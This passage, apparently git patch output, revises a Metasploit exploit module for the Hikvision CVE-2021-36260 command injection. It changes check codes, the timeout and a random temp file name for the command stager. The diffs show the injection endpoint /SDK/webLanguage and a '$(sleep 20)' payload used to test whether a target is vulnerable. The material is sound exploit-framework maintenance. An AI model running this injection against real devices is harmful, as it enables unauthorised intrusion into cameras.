telnetd bind shell. ### Target 1 diff --git a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb index 816b4a6611..26341f1bd8 100644 --- a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb +++ b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb @@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => payload }, 10) - return CheckCode::Appears('As determined by HTTP status replies.') unless res + return CheckCode::Vulnerable('It appears the target executed the provided sleep command.') unless res CheckCode::Safe('The target did not execute the provided sleep command.') end @@ -150,7 +150,7 @@ class MetasploitModule < Msf::Exploit::Remote # have that much space. We can steal the extra space from the "random" file name # and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra # bytes will also allow printf stager to do more than 1 byte per exploitation. - cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, 'tmp/a') + cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname) cmd = cmd.gsub(/ >/, '>') cmd = cmd.gsub(/> /, '>') @@ -167,6 +167,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + + # generate a random value for the tmp file name. See execute_command for details + @fname = "tmp/#{Rex::Text.rand_text_alpha(1)}" + case target['Type'] when :unix_cmd execute_command(payload.encoded) From 9f05a7d11a8475fdefb814c7ea7f65b0659878ef Mon Sep 17 00:00:00 2001 From: Jake Baines Date: Thu, 24 Feb 2022 08:13:04 -0800 Subject: [PATCH 3/4] Removed unneeded custom timeout --- modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb index 26341f1bd8..2d5db37590 100644 --- a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb +++ b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb @@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'), 'data' => payload - }, 10) + }) return CheckCode::Unknown("Didn't receive a response from the target.") unless res return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500) From 2bec5c425f92b5cc8f50c068e8cc823d84263cfc Mon Sep 17 00:00:00 2001 From: Jake Baines Date: Fri, 25 Feb 2022 08:32:06 -0800 Subject: [PATCH 4/4] Change CheckCode to Appears --- modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb index 2d5db37590..0a2cc8967c 100644 --- a/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb +++ b/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb @@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500) # Some cameras are not vulnerable and still respond 500. We can weed them out by making - # the remote target sleep and use a low timeout. This might not be good for low latency targets + # the remote target sleep and use a low timeout. This might not be good for high latency targets # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all # 500 responses as vulnerable. payload = '$(sleep 20)' @@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => payload }, 10) - return CheckCode::Vulnerable('It appears the target executed the provided sleep command.') unless res + return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res CheckCode::Safe('The target did not execute the provided sleep command.') end